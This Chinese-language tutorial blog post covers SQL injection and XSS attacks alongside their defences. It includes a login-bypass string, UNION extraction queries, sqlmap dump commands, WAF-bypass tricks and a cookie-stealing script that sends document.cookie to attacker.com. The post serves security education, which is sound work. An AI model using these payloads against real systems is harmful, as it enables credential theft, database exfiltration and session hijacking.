从SQL注入到XSS：实战Web安全渗透测试
前言
信息安全领域有一条铁律：一切输入都是有害的。然而在真实的开发场景中，我们依然能看到无数因过滤不严导致的漏洞。据OWASP（开放式Web应用程序安全项目）统计，注入类漏洞和XSS漏洞常年占据Top 10榜单。
为什么它们生命力如此顽强？因为业务复杂性和开发者的安全盲区往往让漏洞有机可乘。今天，我将抛开枯燥的理论，直接上实战：通过手工注入、SQLMap自动化、XSS三种类型的演示，让你彻底看清攻击者的思路，从而写出更安全的代码。
免责声明：本文所有技术演示仅用于学习和授权测试，请勿对未授权的目标进行任何攻击行为。
一、SQL注入：从“万能密码”到数据库沦陷
SQL注入的本质是将不可信的数据拼接到SQL语句中，改变原有语义。我们先从一个经典的登录场景开始。
1.1 手工注入：从“万能密码”开始
假设后台登录SQL语句是这样的：
php
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";
攻击者在用户名输入框中输入：
text
admin' --
密码随意。最终拼出的SQL变成：
sql
SELECT * FROM users WHERE username='admin' -- ' AND password='xxx'
--是MySQL的注释符，后面内容被忽略。如果存在admin用户，即可绕过密码验证登录。
进阶利用：联合查询
当页面有正常数据显示时，攻击者可以通过UNION查询获取额外信息。例如：
text
' UNION SELECT 1,2,3,4,5 --
通过不断尝试列数，找到显示位后，就能拖出数据库名、表名、字段名：
text
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() --
1.2 SQLMap：自动化注入神器
手工注入耗时长，SQLMap可以极大提升效率。一个典型的使用流程：
bash
# 检测注入点 sqlmap -u "http://target.com/article.php?id=1" --batch # 获取数据库名 sqlmap -u "http://target.com/article.php?id=1" --dbs # 获取表名 sqlmap -u "http://target.com/article.php?id=1" -D dbname --tables # 导出数据 sqlmap -u "http://target.com/article.php?id=1" -D dbname -T users --dump
SQLMap的强大在于它支持多种注入技术（布尔盲注、时间盲注、报错注入等），并能自动绕过简单的WAF规则。
1.3 防御：从根源切断注入
根本方案：使用预编译（Prepared Statement）或参数化查询。以Java为例：
java
String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement pstmt = connection.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, password); ResultSet rs = pstmt.executeQuery();
此时，用户输入永远只被当作数据，不会改变SQL结构。永远不要使用拼接SQL的方式！
二、XSS：悄无声息的会话劫持
XSS（跨站脚本攻击）的核心是往页面中注入恶意脚本，当其他用户浏览时，脚本在受害者浏览器中执行。根据触发方式，分为三类。
2.1 反射型XSS
攻击者将恶意脚本嵌入URL参数，诱导用户点击。例如：
text
http://victim.com/search?q=<script>alert('xss')</script>如果服务端直接将q参数输出到HTML中，就会弹框。这看似无害，但真正的恶意脚本会窃取Cookie或发起恶意请求。
利用场景：窃取Cookie并发送到攻击者服务器。
html
<script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script>2.2 存储型XSS
这是危害最大的XSS类型。恶意脚本被永久存储在数据库（如评论、帖子）中，任何访问该页面的用户都会中招。
案例：论坛评论区未过滤script标签，攻击者发布包含恶意脚本的评论，管理员查看后台时，脚本窃取了管理员的Session，导致权限沦陷。
2.3 DOM型XSS
不经过服务端，完全由前端JavaScript操作DOM时引入。例如：
javascript
var name = location.hash.substring(1); document.getElementById("welcome").innerHTML = "Hello " + name;如果location.hash包含<img src=x onerror=alert(1)>，则会触发XSS。
2.4 防御XSS
输出编码：根据上下文使用合适的编码（HTML实体、JavaScript转义等）。例如，使用
htmlspecialchars将<转为<。CSP（内容安全策略）：通过HTTP头限制脚本来源，即使存在注入，也无法执行非白名单脚本。
HttpOnly Cookie：设置
HttpOnly标志，阻止JavaScript读取Cookie，即使XSS也无法窃取。
三、进阶思考：WAF绕过与安全开发生命周期
3.1 绕过WAF的小技巧
在实际渗透测试中，经常会遇到WAF（Web应用防火墙）。攻击者会通过各种手法绕过：
大小写混淆：
<ScRiPt>绕过简单的正则。编码绕过：使用URL编码、Unicode编码。
注释混淆：
/*!50000 UNION*/绕过MySQL特定版本检测。使用SQLMap的tamper脚本：
sqlmap --tamper=space2comment --level 5
3.2 安全开发，防患于未然
对于开发者而言，真正的安全感不是依赖WAF，而是在代码层面杜绝漏洞。建议：
输入验证：严格校验数据类型、长度、格式。
输出编码：根据输出位置进行转义。
使用安全框架：如Spring Security、Django自带防御。
定期安全审计：使用工具（SonarQube、Checkmarx）扫描代码。
SDL（安全开发生命周期）：将安全融入需求、设计、编码、测试各阶段。
四、总结
SQL注入和XSS虽然历史久远，但至今仍是Web安全的头号杀手。通过今天的实战，我们看到：
SQL注入的本质是数据与代码混淆，解决方案是参数化查询。
XSS的本质是不可信数据污染了前端环境，解决方案是输出编码 + CSP。
作为技术人，我们既要懂攻击原理，也要掌握防御之道。在攻防博弈中，唯有不断学习最新的漏洞趋势，才能构建更安全的网络环境。
最后推荐一些学习资源：
在线靶场：DVWA、PortSwigger Web Security Academy
实战平台：HackTheBox、Bugcrowd University
工具：Burp Suite、SQLMap、Nmap